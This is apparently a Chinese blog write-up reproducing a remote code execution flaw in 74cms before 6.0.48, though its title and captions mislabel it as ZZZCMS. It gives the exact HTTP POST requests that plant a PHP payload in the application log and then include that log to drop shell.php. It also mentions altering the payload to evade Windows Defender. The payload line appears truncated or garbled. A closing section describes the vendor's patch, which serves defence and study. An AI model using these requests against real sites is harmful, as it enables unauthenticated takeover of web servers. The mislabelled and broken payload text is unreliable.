(环境搭建+复现)ZZZCMS模版注入+文件包含getshell

0x00 简介

骑士CMS人才招聘系统是基于PHP+MYSQL的免费网站管理系统源码,提供完善的人才招聘网站建设方案。

0x01 漏洞概述

骑士 CMS 官方发布安全更新,修复了一处远程代码执行漏洞。由于骑士 CMS 某些函数存在过滤不严格,攻击者通过构造恶意请求,配合文件包含漏洞可在无需登录的情况下执行任意代码,控制服务器。

0x02 影响版本

骑士 CMS < 6.0.48

0x03 环境搭建

1、下载最新版74cms。

https://www.74cms.com/download/index.html

(环境搭建+复现)ZZZCMS模版注入+文件包含getshell_第1张图片

 

2、使用phpstudy进行搭建。

进入upload目录即可进入安装程序。

0x04 漏洞利用

1、首先通过日志写入Payload。这么写payload因为测试环境我的Defender报毒了,就简单变形一下即可绕过。

(环境搭建+复现)ZZZCMS模版注入+文件包含getshell_第2张图片

POST /74cms_Home_Setup_v6.0.20/upload/index.php?m=home&a=assign_resume_tpl HTTP/1.1

variable=1&tpl=")?>; ob_flush();?>/r/n

 

2、包含日志。默认日志位置为data/Runtime/Logs/Home/Y_M_D.log

(环境搭建+复现)ZZZCMS模版注入+文件包含getshell_第3张图片

POST /74cms_Home_Setup_v6.0.20/upload/index.php?m=home&a=assign_resume_tpl HTTP/1.1

variable=1&tpl=data/Runtime/Logs/Home/20_12_16.log

3、此时根目录下就会生成shell.php文件。

(环境搭建+复现)ZZZCMS模版注入+文件包含getshell_第4张图片

4、连接即可。

(环境搭建+复现)ZZZCMS模版注入+文件包含getshell_第5张图片

0x05 修复方式

http://www.74cms.com/news/show-2497.html

从官方公布的信息来看,官方修复了两个地方:

1、/Application/Common/Controller/BaseController.class.php

左图修复前,右图为修复后。

$view->parseTemplate对$tpl参数进行处理,并对处理结果$tpl_file进行is_file判断。后续主要判断传入的是否为文件。

(环境搭建+复现)ZZZCMS模版注入+文件包含getshell_第6张图片

2、/ThinkPHP/Library/Think/View.class.php

左图修复前,右图为修复后。

主要更改的是,新版本日志不再包含模板名称。也就无法写入payload。

 

0x06 Tips:

payload:

variable=1&tpl=")?>; ob_flush();?>/r/n

将PHP代码写入文件时,$符号需要使用反斜杠进行转义,否则会被识别为变量从而报错。

(环境搭建+复现)ZZZCMS模版注入+文件包含getshell_第7张图片

你可能感兴趣的:(漏洞复现)